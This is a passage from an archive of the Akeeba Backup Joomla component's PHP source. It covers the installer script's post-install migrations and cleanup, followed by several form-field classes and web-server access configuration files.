		$toFile        = $componentPath . '/BackupEngine/serverkey.php';

		if (!file_exists($fromFile))
		{
			$fromFile = $componentPath . '/engine/serverkey.php';
		}

		if (@file_exists($fromFile) && !@file_exists($toFile))
		{
			$toPath = $componentPath . '/BackupEngine';

			if (@is_dir($componentPath) && !@is_dir($toPath))
			{
				JFolder::create($toPath);
			}

			if (@is_dir($toPath))
			{
				JFile::copy($fromFile, $toFile);
			}
		}

		return $result;
	}

	/**
	 * Runs after install, update or discover_update. In other words, it executes after Joomla! has finished installing
	 * or updating your component. This is the last chance you've got to perform any additional installations, clean-up,
	 * database updates and similar housekeeping functions.
	 *
	 * @param   string                      $type    install, update or discover_update
	 * @param   JInstallerAdapterComponent  $parent  Parent object
	 */
	public function postflight(string $type, ComponentAdapter $parent): void
	{
		if ($type === 'uninstall')
		{
			return;
		}

		// Let's make sure the custom container file is up to date.
		$this->containerBroken = $this->figureOutIfContainerIsBroken();

		// Parent method
		parent::postflight($type, $parent);

		if (!$this->containerBroken)
		{
			// Let's install common tables
			$this->installCommonTables();
		}

		// Add ourselves to the list of extensions depending on Akeeba FEF
		$this->addDependency('file_fef', $this->componentName);

		// Uninstall post-installation messages we are no longer using
		$this->uninstallObsoletePostinstallMessages();

		// Remove the update sites for this component on installation. The update sites are now handled at the package
		// level.
		$this->removeObsoleteUpdateSites($parent);

		// Remove the FOF 2.x update sites (annoying leftovers)
		$this->removeFOFUpdateSites();

		// If this is a new installation tell it to NOT mark the backup profiles as configured.
		if (defined('AKEEBA_THIS_IS_INSTALLATION_FROM_SCRATCH'))
		{
			$this->markProfilesAsNotConfiguredYet();
		}

		// This is an update of an existing installation
		if (!defined('AKEEBA_THIS_IS_INSTALLATION_FROM_SCRATCH') && !$this->containerBroken)
		{
			// Migrate profiles if necessary
			$this->migrateProfiles();
			// Migrate remote quota options
			$this->migrateRemoteQuotaOptions();
		}

		// Replace the system plugin with the actionlog plugin for logging user actions
		$this->switchActionLogPlugins();

		// Upgrade the old, single switch for front-end backups to the new two, separate switches
		if (!$this->containerBroken)
		{
			$this->upgradeFrontendEnableOption();
		}
	}

	/**
	 * Override this method to display a custom component installation message if you so wish
	 *
	 * @param   \JInstallerAdapterComponent  $parent  Parent class calling us
	 */
	protected function renderPostInstallation(ComponentAdapter $parent): void
	{
		try
		{
			$this->warnAboutJSNPowerAdmin();
		}
		catch (Exception $e)
		{
			// Don't sweat if the site's db croaks while I'm checking for 3PD software that causes trouble
		}

		// Load the version file
		if (!defined('AKEEBA_PRO'))
		{
			@include_once JPATH_ADMINISTRATOR . '/components/com_akeeba/version.php';
		}

		if (!defined('AKEEBA_PRO'))
		{
			define('AKEEBA_PRO', '0');
		}

		?>
		<img src="../media/com_akeeba/icons/logo-48.png" width="48" height="48" alt="Akeeba Backup" align="right" />

		<h2>Welcome to Akeeba Backup!</h2>

		<fieldset>
			<p>
				We strongly recommend watching our <a href="http://akee.ba/abfirstvideo">video tutorials</a> before
				using this component.
			</p>

			<p>
				If this is the first time you install Akeeba Backup on your site please run the <a
						href="index.php?option=com_akeeba&view=ConfigurationWizard">Configuration Wizard</a>. Akeeba
				Backup will configure itself optimally for your site.
			</p>

			<p>
				By installing this component you are implicitly accepting <a href="https://www.akeeba.com/license.html">
					its license (GNU GPLv3)</a> and our <a href="https://www.akeeba.com/privacy-policy.html">Terms of
																											 Service</a>,
				including our Support Policy.
			</p>
		</fieldset>
		<?php
		if (!$this->figureOutIfContainerIsBroken())
		{
			$container = null;
			$model     = null;

			if (class_exists('FOF40\\Container\\Container'))
			{
				try
				{
					$container = FOFContainer::getInstance('com_akeeba');
				}
				catch (\Exception $e)
				{
					$container = null;
				}
			}

			if (is_object($container) && class_exists('FOF40\\Container\\Container') && ($container instanceof FOFContainer))
			{
				/** @var \Akeeba\Backup\Admin\Model\UsageStatistics $model */
				try
				{
					$model = $container->factory->model('UsageStatistics')->tmpInstance();
				}
				catch (\Exception $e)
				{
					$model = null;
				}
			}

			/** @var \Akeeba\Backup\Admin\Model\UsageStatistics $model */
			try
			{
				if (is_object($model) && class_exists('Akeeba\\Backup\\Admin\\Model\\UsageStatistics')
					&& ($model instanceof Akeeba\Backup\Admin\Model\UsageStatistics)
					&& method_exists($model, 'collectStatistics'))
				{
					$iframe = $model->collectStatistics(true);

					if ($iframe)
					{
						echo $iframe;
					}
				}
			}
			catch (\Exception $e)
			{
			}
		}
	}

	/**
	 * Override this method to display a custom component uninstallation message if you so wish
	 *
	 * @param   \JInstallerAdapterComponent  $parent  Parent class calling us
	 */
	protected function renderPostUninstallation(ComponentAdapter $parent): void
	{
		?>
		<h2>Akeeba Backup Uninstallation Status</h2>
		<p>We are sorry that you decided to uninstall Akeeba Backup. Please let us know why by using the <a
					href="https://www.akeeba.com/contact-us.html" target="_blank">Contact Us form on our site</a>. We
		   appreciate your feedback; it helps us develop better software!</p>
		<?php
	}

	/**
	 * Removes obsolete update sites created for the component (we are now using an update site for the package, not the
	 * component).
	 *
	 * @param   JInstallerAdapterComponent  $parent  The parent installer
	 */
	protected function removeObsoleteUpdateSites($parent)
	{
		$db = $parent->getParent()->getDbo();

		$query = $db->getQuery(true)
			->select($db->qn('extension_id'))
			->from($db->qn('#__extensions'))
			->where($db->qn('type') . ' = ' . $db->q('component'))
			->where($db->qn('name') . ' = ' . $db->q($this->componentName));

		try
		{
			$extensionId = $db->setQuery($query)->loadResult();
		}
		catch (Exception $e)
		{
			// Your database is broken.
			return;
		}

		if (!$extensionId)
		{
			return;
		}

		$query = $db->getQuery(true)
			->select($db->qn('update_site_id'))
			->from($db->qn('#__update_sites_extensions'))
			->where($db->qn('extension_id') . ' = ' . $db->q($extensionId));

		try
		{
			$ids = $db->setQuery($query)->loadColumn(0);
		}
		catch (Exception $e)
		{
			// Your database is broken.
			return;
		}

		if (!is_array($ids) && empty($ids))
		{
			return;
		}

		foreach ($ids as $id)
		{
			$query = $db->getQuery(true)
				->delete($db->qn('#__update_sites'))
				->where($db->qn('update_site_id') . ' = ' . $db->q($id));
			$db->setQuery($query);

			try
			{
				$db->execute();
			}
			catch (\Exception $e)
			{
				// Do not fail in this case
			}
		}
	}

	protected function installCommonTables(): void
	{
		$container = null;
		$model     = null;

		if (class_exists('FOF40\\Container\\Container'))
		{
			try
			{
				$container = FOFContainer::getInstance('com_akeeba');
			}
			catch (\Exception $e)
			{
				$container = null;
			}
		}

		if (is_object($container) && class_exists('FOF40\\Container\\Container') && ($container instanceof FOFContainer))
		{
			/** @var \Akeeba\Backup\Admin\Model\UsageStatistics $model */
			try
			{
				$model = $container->factory->model('UsageStatistics')->tmpInstance();
			}
			catch (\Exception $e)
			{
				$model = null;
			}
		}
	}

	private function uninstallObsoletePostinstallMessages()
	{
		$db = JFactory::getDbo();

		$obsoleteTitleKeys = [
			// Remove "Upgrade profiles to ANGIE"
			'AKEEBA_POSTSETUP_LBL_ANGIEUPGRADE',
			// Remove "Enable System Restore Points"
			'AKEEBA_POSTSETUP_LBL_SRP',
			'AKEEBA_POSTSETUP_LBL_BACKUPONUPDATE',
			'AKEEBA_POSTSETUP_LBL_CONFWIZ',
			'AKEEBA_POSTSETUP_LBL_ACCEPTLICENSE',
			'AKEEBA_POSTSETUP_LBL_ACCEPTSUPPORT',
			'AKEEBA_POSTSETUP_LBL_ACCEPTBACKUPTEST',
		];

		foreach ($obsoleteTitleKeys as $obsoleteKey)
		{

			// Remove the "Upgrade profiles to ANGIE" post-installation message
			$query = $db->getQuery(true)
				->delete($db->qn('#__postinstall_messages'))
				->where($db->qn('title_key') . ' = ' . $db->q($obsoleteKey));
			try
			{
				$db->setQuery($query)->execute();
			}
			catch (Exception $e)
			{
				// Do nothing
			}
		}
	}

	/**
	 * The PowerAdmin extension makes menu items disappear. People assume it's our fault. JSN PowerAdmin authors don't
	 * own up to their software's issue. I have no choice but to warn our users about the faulty third party software.
	 */
	private function warnAboutJSNPowerAdmin()
	{
		$db = JFactory::getDbo();

		$query         = $db->getQuery(true)
			->select('COUNT(*)')
			->from($db->qn('#__extensions'))
			->where($db->qn('type') . ' = ' . $db->q('component'))
			->where($db->qn('element') . ' = ' . $db->q('com_poweradmin'))
			->where($db->qn('enabled') . ' = ' . $db->q('1'));
		$hasPowerAdmin = $db->setQuery($query)->loadResult();

		if (!$hasPowerAdmin)
		{
			return;
		}

		$query      = $db->getQuery(true)
			->select('manifest_cache')
			->from($db->qn('#__extensions'))
			->where($db->qn('type') . ' = ' . $db->q('component'))
			->where($db->qn('element') . ' = ' . $db->q('com_poweradmin'))
			->where($db->qn('enabled') . ' = ' . $db->q('1'));
		$paramsJson = $db->setQuery($query)->loadResult();

		$className = class_exists('JRegistry') ? 'JRegistry' : '\Joomla\Registry\Registry';

		/** @var \Joomla\Registry\Registry $jsnPAManifest */
		$jsnPAManifest = new $className();
		$jsnPAManifest->loadString($paramsJson, 'JSON');
		$version = $jsnPAManifest->get('version', '0.0.0');

		if (version_compare($version, '2.1.2', 'ge'))
		{
			return;
		}

		echo <<< HTML
<div class="well" style="margin: 2em 0;">
<h1 style="font-size: 32pt; line-height: 120%; color: red; margin-bottom: 1em">WARNING: Menu items for {$this->componentName} might not be displayed on your site.</h1>
<p style="font-size: 18pt; line-height: 150%; margin-bottom: 1.5em">
	We have detected that you are using JSN PowerAdmin on your site. This software ignores Joomla! standards and
	<b>hides</b> the Component menu items to {$this->componentName} in the administrator backend of your site. Unfortunately we
	can't provide support for third party software. Please contact the developers of JSN PowerAdmin for support
	regarding this issue.
</p>
<p style="font-size: 18pt; line-height: 120%; color: green;">
	Tip: You can disable JSN PowerAdmin to see the menu items to Akeeba Backup.
</p>
</div>

HTML;

	}

	/**
	 * Loads the Akeeba Engine if it's not already loaded
	 */
	private function loadAkeebaEngine()
	{
		if (class_exists('\\Akeeba\\Engine\\Platform'))
		{
			return;
		}

		// Load the language files
		$paths = [JPATH_ADMINISTRATOR, JPATH_ROOT];
		$jlang = JFactory::getLanguage();
		$jlang->load('com_akeeba', $paths[0], 'en-GB', true);
		$jlang->load('com_akeeba', $paths[1], 'en-GB', true);
		$jlang->load('com_akeeba' . '.override', $paths[0], 'en-GB', true);
		$jlang->load('com_akeeba' . '.override', $paths[1], 'en-GB', true);

		// Load the version file
		@include_once JPATH_ADMINISTRATOR . '/components/com_akeeba/version.php';

		if (!defined('AKEEBA_PRO'))
		{
			define('AKEEBA_PRO', '0');
		}

		// Enable Akeeba Engine
		if (!defined('AKEEBAENGINE'))
		{
			define('AKEEBAENGINE', 1);
		}

		// Load the engine
		$factoryPath = JPATH_ADMINISTRATOR . '/components/com_akeeba/BackupEngine/Factory.php';
		define('AKEEBAROOT', JPATH_ADMINISTRATOR . '/components/com_akeeba/BackupEngine');

		require_once $factoryPath;

		// Assign the correct platform
		Platform::addPlatform('joomla3x', JPATH_ADMINISTRATOR . '/components/com_akeeba/BackupPlatform/Joomla3x');
	}

	/**
	 * Migrates existing backup profiles. The changes currently made are:
	 * – Change post-processing from "s3" (legacy) to "amazons3" (current version)
	 * – Fix profiles with invalid embedded installer settings
	 *
	 * @return  void
	 */
	private function migrateProfiles()
	{
		$this->loadAkeebaEngine();

		// Get a list of backup profiles
		$db = JFactory::getDbo();

		try
		{
			$query    = $db->getQuery(true)
				->select($db->qn('id'))
				->from($db->qn('#__ak_profiles'));
			$profiles = $db->setQuery($query)->loadColumn();
		}
		catch (Exception $e)
		{
			// Eh, we couldn't load the profiles. Something's broken in the database. It will be fixed when the
			// installation continues but for now we have to just return without doing anything.
			return;
		}

		// Normally this should never happen as we're supposed to have at least profile #1
		if (empty($profiles))
		{
			return;
		}

		// Migrate each profile
		foreach ($profiles as $profile)
		{
			// Initialization
			$dirty = false;

			// Load the profile configuration
			try
			{
				Platform::getInstance()->load_configuration($profile);
				$config = \Akeeba\Engine\Factory::getConfiguration();
			}
			catch (Exception $e)
			{
				// Your database is broken :(
				continue;
			}

			// -- Migrate obsolete "s3" engine to "amazons3"
			$postProcType = $config->get('akeeba.advanced.postproc_engine', '');

			if ($postProcType == 's3')
			{
				$config->setKeyProtection('akeeba.advanced.postproc_engine', false);
				$config->setKeyProtection('engine.postproc.amazons3.signature', false);
				$config->setKeyProtection('engine.postproc.amazons3.accesskey', false);
				$config->setKeyProtection('engine.postproc.amazons3.secretkey', false);
				$config->setKeyProtection('engine.postproc.amazons3.usessl', false);
				$config->setKeyProtection('engine.postproc.amazons3.bucket', false);
				$config->setKeyProtection('engine.postproc.amazons3.directory', false);
				$config->setKeyProtection('engine.postproc.amazons3.rrs', false);
				$config->setKeyProtection('engine.postproc.amazons3.customendpoint', false);
				$config->setKeyProtection('engine.postproc.amazons3.legacy', false);

				$config->set('akeeba.advanced.postproc_engine', 'amazons3');
				$config->set('engine.postproc.amazons3.signature', 's3');
				$config->set('engine.postproc.amazons3.accesskey', $config->get('engine.postproc.s3.accesskey'));
				$config->set('engine.postproc.amazons3.secretkey', $config->get('engine.postproc.s3.secretkey'));
				$config->set('engine.postproc.amazons3.usessl', $config->get('engine.postproc.s3.usessl'));
				$config->set('engine.postproc.amazons3.bucket', $config->get('engine.postproc.s3.bucket'));
				$config->set('engine.postproc.amazons3.directory', $config->get('engine.postproc.s3.directory'));
				$config->set('engine.postproc.amazons3.rrs', $config->get('engine.postproc.s3.rrs'));
				$config->set('engine.postproc.amazons3.customendpoint', $config->get('engine.postproc.s3.customendpoint'));
				$config->set('engine.postproc.amazons3.legacy', $config->get('engine.postproc.s3.legacy'));

				$dirty = true;
			}

			// Fix profiles with invalid embedded installer settings
			$embeddedInstaller = $config->get('akeeba.advanced.embedded_installer');

			if (empty($embeddedInstaller) || ($embeddedInstaller == 'angie-joomla') || (
					(substr($embeddedInstaller, 0, 5) != 'angie') && ($embeddedInstaller != 'none')
				))
			{
				$config->setKeyProtection('akeeba.advanced.embedded_installer', false);
				$config->set('akeeba.advanced.embedded_installer', 'angie');
				$dirty = true;
			}

			// Save dirty records
			if ($dirty)
			{
				try
				{
					Platform::getInstance()->save_configuration($profile);
				}
				catch (Exception $e)
				{
					// Your database is broken!
					continue;
				}
			}
		}
	}

	/**
	 * Remove FOF 2.x update sites
	 */
	private function removeFOFUpdateSites()
	{
		$db    = JFactory::getDbo();
		$query = $db->getQuery(true)
			->delete($db->qn('#__update_sites'))
			->where($db->qn('location') . ' = ' . $db->q('http://cdn.akeeba.com/updates/fof.xml'));
		try
		{
			$db->setQuery($query)->execute();
		}
		catch (\Exception $e)
		{
			// Do nothing on failure
		}

	}

	private function markProfilesAsNotConfiguredYet()
	{
		try
		{
			$db    = JFactory::getDbo();
			$query = $db->getQuery(true)
				->select($db->qn('params'))
				->from($db->qn('#__extensions'))
				->where($db->qn('type') . ' = ' . $db->q('component'))
				->where($db->qn('element') . ' = ' . $db->q('com_akeeba'));

			$jsonData = $db->setQuery($query)->loadResult();

			if (class_exists('JRegistry'))
			{
				$reg = new JRegistry($jsonData);
			}
			else
			{
				$reg = new \Joomla\Registry\Registry($jsonData);
			}

			$reg->set('confwiz_upgrade', 1);
			$jsonData = $reg->toString('JSON');

			$query = $db->getQuery()
				->update($db->qn('#__extensions'))
				->set($db->qn('params') . ' = ' . $db->q($jsonData))
				->where($db->qn('type') . ' = ' . $db->q('component'))
				->where($db->qn('element') . ' = ' . $db->q('com_akeeba'));
			$db->setQuery($query)->execute();
		}
		catch (Exception $e)
		{
			// If that fails it's not the end of the world. The component is still usable, so just swallow any
			// exception.
		}
	}

	private function switchActionLogPlugins()
	{
		$db = \Joomla\CMS\Factory::getDbo();

		// Does the plg_system_akeebaactionlog plugin exist? If not, there's nothing to do here.
		$query = $db->getQuery(true)
			->select('*')
			->from('#__extensions')
			->where($db->qn('type') . ' = ' . $db->q('plugin'))
			->where($db->qn('folder') . ' = ' . $db->q('system'))
			->where($db->qn('element') . ' = ' . $db->q('akeebaactionlog'));
		try
		{
			$result = $db->setQuery($query)->loadAssoc();

			if (empty($result))
			{
				return;
			}

			$eid = $result['extension_id'];
		}
		catch (Exception $e)
		{
			return;
		}

		// If plg_system_akeebaactionlog is enabled: enable plg_actionlog_akeebabackup
		if (\Joomla\CMS\Plugin\PluginHelper::isEnabled('system', 'akeebaactionlog'))
		{
			$query = $db->getQuery(true)
				->update($db->qn('#__extensions'))
				->set($db->qn('enabled') . ' = ' . $db->q(1))
				->where($db->qn('type') . ' = ' . $db->q('plugin'))
				->where($db->qn('folder') . ' = ' . $db->q('actionlog'))
				->where($db->qn('element') . ' = ' . $db->q('akeebabackup'));
			try
			{
				$db->setQuery($query)->execute();
			}
			catch (Exception $e)
			{
			}
		}

		// Deactivate plg_system_akeebaactionlog
		$query = $db->getQuery(true)
			->update($db->qn('#__extensions'))
			->set($db->qn('enabled') . ' = ' . $db->q(0))
			->where($db->qn('type') . ' = ' . $db->q('plugin'))
			->where($db->qn('folder') . ' = ' . $db->q('system'))
			->where($db->qn('element') . ' = ' . $db->q('akeebaactionlog'));
		try
		{
			$db->setQuery($query)->execute();
		}
		catch (Exception $e)
		{
		}

		/**
		 * Here's a bummer. If you try to uninstall the plg_system_akeebaactionlog plugin Joomla throws a nonsensical
		 * error message about the plugin's XML manifest missing -- after it has already uninstalled the plugin! This
		 * error causes the package installation to fail which results in the extension being installed BUT the database
		 * record of the package NOT being present which makes it impossible to uninstall.
		 *
		 * So I have to hack my way around it which is ugly but the only viable alternative :(
		 */
		try
		{
			// Safely delete the row in the extensions table
			$row = JTable::getInstance('extension');
			$row->load((int) $eid);
			$row->delete($eid);

			// Delete the plugin's files
			$pluginPath = JPATH_PLUGINS . '/system/akeebaactionlog';

			if (is_dir($pluginPath))
			{
				JFolder::delete($pluginPath);
			}

			// Delete the plugin's language files
			$langFiles = [
				JPATH_ADMINISTRATOR . '/language/en-GB/en-GB.plg_system_akeebaactionlog.ini',
				JPATH_ADMINISTRATOR . '/language/en-GB/en-GB.plg_system_akeebaactionlog.sys.ini',
			];

			foreach ($langFiles as $file)
			{
				if (@is_file($file))
				{
					JFile::delete($file);
				}
			}
		}
		catch (Exception $e)
		{
			// I tried, I failed. Dear user, do NOT try to enable that old plugin. Bye!
		}
	}

	/**
	 * Upgrades the frontend_enable option to the two separate legacyapi_enabled and jsonapi_enabled options.
	 *
	 * Akeeba Backup 5 and 6 had a single component option, 'frontend_enable', to control both the Legacy Front-end
	 * Backup Feature. Since Akeeba Backup 7.0.0.b1 we have two separate options, legacyapi_enabled and jsonapi_enabled.
	 * This method detects the old-style component option and upgrades it to the two separate ones.
	 *
	 * @return  void
	 * @since   7.0.0.b1
	 */
	private function upgradeFrontendEnableOption()
	{
		$container = FOFContainer::getInstance('com_akeeba');
		$container->params->reload();
		$oldValue = $container->params->get('frontend_enable', -1);

		if (!in_array($oldValue, [0, 1]))
		{
			return;
		}

		$container->params->set('legacyapi_enabled', $oldValue);
		$container->params->set('jsonapi_enabled', $oldValue);
		$container->params->set('frontend_enable', -1);

		$container->params->save();
	}

	/**
	 * Figure out if there is a custom container class which is not the correct FOF version.
	 *
	 * @return  bool
	 */
	private function figureOutIfContainerIsBroken()
	{
		// FOF 4 is not loaded. Everything is broken. HOW THE HECK AM I EVEN RUNNING?!
		if (!class_exists('FOF40\\Container\\Container'))
		{
			return true;
		}

		// This is the custom container file that gives us grief on update
		$originalContainerFile = JPATH_ADMINISTRATOR . '/components/com_akeeba/Container.php';
		$customContainerFile = JPATH_ADMINISTRATOR . '/components/com_akeeba/Container.php';

		// Do I have this in the installation package's temporary extracted directory?
		if (
			!empty($this->currentlyBeingInstalledCustomContainerFile) &&
			@file_exists($this->currentlyBeingInstalledCustomContainerFile) &&
			!@is_file($this->currentlyBeingInstalledCustomContainerFile)
		)
		{
			$customContainerFile = $this->currentlyBeingInstalledCustomContainerFile;
		}

		/**
		 * Let's invalidate the opcache for the custom container file. We need to do that before checking if the file
		 * exists since opcache may also be caching whether the file exists and we can't rely on ini_get to find that
		 * out since some servers disable it.
		 */
		if (function_exists('opcache_invalidate'))
		{
			/** @noinspection PhpComposerExtensionStubsInspection */
			opcache_invalidate($originalContainerFile, true);
			/** @noinspection PhpComposerExtensionStubsInspection */
			opcache_invalidate($customContainerFile, true);
		}

		// Clear the stat cache just in case
		@clearstatcache(true);

		// Does the file exist?
		if (!@file_exists($customContainerFile))
		{
			// The file is not there so it can't be broken (duh!)
			return false;
		}

		// Now let's try to load it if the same class doesn't already exist.
		if (!class_exists('Akeeba\Backup\Admin\Container', false))
		{
			@include_once $customContainerFile;
		}

		// Did it really load?
		if (!class_exists('Akeeba\Backup\Admin\Container'))
		{
			// No? OK, what doesn't exist can't be broken.
			return false;
		}

		return !is_subclass_of('Akeeba\Backup\Admin\Container', FOFContainer::class);
	}

	/**
	 * Migrate profiles' quota options after local and remote quotas were split to separate options.
	 *
	 * @return  void
	 * @since   8.4.0
	 */
	private function migrateRemoteQuotaOptions()
	{
		// Get a list of backup profiles
		$db = JFactory::getDbo();

		try
		{
			$query    = $db->getQuery(true)
				->select($db->qn('id'))
				->from($db->qn('#__ak_profiles'));
			$profileIds = $db->setQuery($query)->loadColumn();
		}
		catch (Exception $e)
		{
			// Eh, we couldn't load the profiles. Something's broken in the database. It will be fixed when the
			// installation continues but for now we have to just return without doing anything.
			return;
		}

		// Normally this should never happen as we're supposed to have at least profile #1
		if (empty($profileIds))
		{
			return;
		}

		$this->loadAkeebaEngine();

		$platform       = Platform::getInstance();
		$currentProfile = $platform->get_active_profile();

		foreach ($profileIds as $profile)
		{
			// Load the profile configuration
			try
			{
				$platform->load_configuration($profile);
				$config = Factory::getConfiguration();
			}
			catch (\Throwable $e)
			{
				// Your database is broken :(
				continue;
			}

			if ($config->get('akeeba.quota.remote', 0) != 1)
			{
				continue;
			}

			// Transcribe the local quota to remote quota settings if the legacy "Enable remote quotas" option is on.
			$protected = $config->getProtectedKeys();
			$config->setProtectedKeys([]);

			$config->set('akeeba.quota.remote', null);
			$config->set('akeeba.quota.remotely.maxage.enable', $config->get('akeeba.quota.maxage.enable', 0));
			$config->set('akeeba.quota.remotely.maxage.maxdays', $config->get('akeeba.quota.maxage.maxdays', 31));
			$config->set('akeeba.quota.remotely.maxage.keepday', $config->get('akeeba.quota.maxage.keepday', 1));
			$config->set('akeeba.quota.remotely.enable_size_quota', $config->get('akeeba.quota.enable_size_quota', 0));
			$config->set('akeeba.quota.remotely.size_quota', $config->get('akeeba.quota.size_quota', 15728640));
			$config->set('akeeba.quota.remotely.enable_count_quota', $config->get('akeeba.quota.enable_count_quota', 1));
			$config->set('akeeba.quota.remotely.count_quota', $config->get('akeeba.quota.count_quota', 3));

			$config->setProtectedKeys($protected);

			// Save the changes
			try
			{
				$platform->save_configuration($profile);
			}
			catch (\Throwable $e)
			{
				// Your database is broken!
				continue;
			}
		}

		$platform->load_configuration($currentProfile);
	}

}
com_akeeba/fields/web.config000060400000001025152455305260012025 0ustar00<?xml version="1.0"?>
<!--
    This only works on IIS 7 or later. See https://www.iis.net/configreference/system.webserver/security/requestfiltering/fileextensions
-->
<configuration>
    <system.webServer>
        <security>
            <requestFiltering>
                <fileExtensions allowUnlisted="false" >
                    <clear />
                    <add fileExtension=".html" allowed="true"/>
                </fileExtensions>
            </requestFiltering>
        </security>
    </system.webServer>
</configuration>com_akeeba/fields/urlencoded.php000060400000000761152455305260012724 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

defined('_JEXEC') || die();

use Joomla\CMS\Form\FormHelper;

if (class_exists('JFormFieldUrlencoded'))
{
	return;
}

FormHelper::loadFieldClass('text');

class JFormFieldUrlencoded extends JFormFieldText
{
	protected function getInput()
	{
		$this->value = urlencode($this->value);

		return parent::getInput();
	}
}
com_akeeba/fields/.htaccess000060400000000246152455305260011663 0ustar00<IfModule !mod_authz_core.c>
Order deny,allow
Deny from all
</IfModule>
<IfModule mod_authz_core.c>
  <RequireAll>
    Require all denied
  </RequireAll>
</IfModule>
com_akeeba/fields/fancyradio.php000060400000000423152455305260012712 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

defined('_JEXEC') || die();

require_once JPATH_LIBRARIES . '/fof40/Html/Fields/fancyradio.php';com_akeeba/fields/oauth2url.php000060400000002655152455305260012531 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

defined('_JEXEC') || die();

use Joomla\CMS\Form\FormHelper;

if (class_exists('JFormFieldNote'))
{
	return;
}

FormHelper::loadFieldClass('note');

class JFormFieldOauth2url extends JFormFieldNote
{
	protected function getLabel()
	{
		return '';
	}

	protected function getInput()
	{
		$engine = $this->element['engine'] ?? 'example';
		$uri = rtrim(\JUri::base() ,'/');

		if (substr($uri, -14) === '/administrator')
		{
			$uri = substr($uri, 0, -14);
		}

		$text1 = JText::_('COM_AKEEBA_CONFIG_OAUTH2URLFIELD_YOU_WILL_NEED');
		$text2 = JText::_('COM_AKEEBA_CONFIG_OAUTH2URLFIELD_CALLBACK_URL');
		$text3 = JText::_('COM_AKEEBA_CONFIG_OAUTH2URLFIELD_HELPER_URL');
		$text4 = JText::_('COM_AKEEBA_CONFIG_OAUTH2URLFIELD_REFRESH_URL');

		return <<< HTML
<div class="alert alert-info mx-2 my-2">
	<p>
		$text1
	</p>
	<p>
		<strong>$text2</strong>:
		<br/>
		<code>$uri/index.php?option=com_akeeba&view=oauth2&task=step2&format=raw&engine={$engine}</code>
	</p>
	<p>
		<strong>$text3</strong>:
		<br/>
		<code>$uri/index.php?option=com_akeeba&view=oauth2&task=step1&format=raw&engine={$engine}</code>
	</p>
	<p>
		<strong>$text4</strong>:
		<br/>
		<code>$uri/index.php?option=com_akeeba&view=oauth2&task=refresh&format=raw&engine={$engine}</code>
	</p>
</div>
HTML;

	}
}
com_akeeba/fields/backupprofiles.php000060400000003075152455305260013612 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

defined('_JEXEC') || die();

use Joomla\CMS\Form\FormField;
use Joomla\CMS\HTML\HTMLHelper;

if (class_exists('JFormFieldBackupprofiles'))
{
	return;
}

/**
 * Our main element class, creating a multi-select list out of an SQL statement
 */
class JFormFieldBackupprofiles extends FormField
{
	/**
	 * Element name
	 *
	 * @var        string
	 */
	protected $name = 'Backupprofiles';

	function getInput()
	{
		$db = \Joomla\CMS\Factory::getDBO();

		$query = $db->getQuery(true)
			->select([
				$db->qn('id'),
				$db->qn('description'),
			])->from($db->qn('#__ak_profiles'));
		$db->setQuery($query);
		$key = 'id';
		$val = 'description';

		$objectList = $db->loadObjectList();

		if (!is_array($objectList))
		{
			$objectList = [];
		}

		foreach ($objectList as $o)
		{
			$o->description = "#{$o->id}: {$o->description}";
		}

		$showNone = $this->element['show_none'] ? (string) $this->element['show_none'] : '';
		$showNone = in_array(strtolower($showNone), ['yes', '1', 'true', 'on']);

		if ($showNone)
		{
			$defaultItem = (object) [
				'id'          => '0',
				'description' => \Joomla\CMS\Language\Text::_('COM_AKEEBA_FORMFIELD_BACKUPPROFILES_NONE'),
			];

			array_unshift($objectList, $defaultItem);
		}

		HTMLHelper::_('formbehavior.chosen');

		return HTMLHelper::_('select.genericlist', $objectList, $this->name, 'class="inputbox advancedSelect"', $key, $val, $this->value, $this->id);
	}
}
com_akeeba/fields/akencrypted.php000060400000002403152455305260013104 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

defined('_JEXEC') || die();

use Joomla\CMS\Form\FormHelper;

if (class_exists('JFormFieldUrlencoded'))
{
	return;
}

FormHelper::loadFieldClass('text');

class JFormFieldAkencrypted extends JFormFieldText
{
	protected function getInput()
	{
		$this->value = $this->conditionalDecrypt($this->value);

		return parent::getInput();
	}

	private function conditionalDecrypt($value)
	{
		// If the Factory is not already loaded we have to load the
		if (!class_exists('Akeeba\Engine\Factory'))
		{
			if (!defined('FOF40_INCLUDED') && !@include_once(JPATH_LIBRARIES . '/fof40/include.php'))
			{
				return $value;
			}

			$container = \FOF40\Container\Container::getInstance('com_akeeba', [], 'admin');

			/** @var \Akeeba\Backup\Admin\Dispatcher\Dispatcher $dispatcher */
			$dispatcher = $container->dispatcher;

			try
			{
				$dispatcher->loadAkeebaEngine();
				$dispatcher->loadAkeebaEngineConfiguration();
			}
			catch (Exception $e)
			{
				return $value;
			}
		}

		$secureSettings = \Akeeba\Engine\Factory::getSecureSettings();

		return $secureSettings->decryptSettings($this->value);
	}
}
com_akeeba/Container.php000060400000000641152455305260011251 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Backup\Admin;

defined('_JEXEC') || die;

use FOF40\Container\Container as TheFOF4BaseContainer;

/**
 * Akeeba Backup backend component Container
 *
 * @since  7.1.0
 */
class Container extends TheFOF4BaseContainer
{

}
com_akeeba/views/Configuration/tmpl/default.xml000064400000000575152455305260015716 0ustar00<?xml version="1.0" encoding="utf-8"?>
<!--~
  ~ @package   akeebabackup
  ~ @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
  ~ @license   GNU General Public License version 3, or later
  -->
<metadata>
	<layout title="COM_AKEEBA_VIEW_CONFIGURATION_TITLE">
		<message>
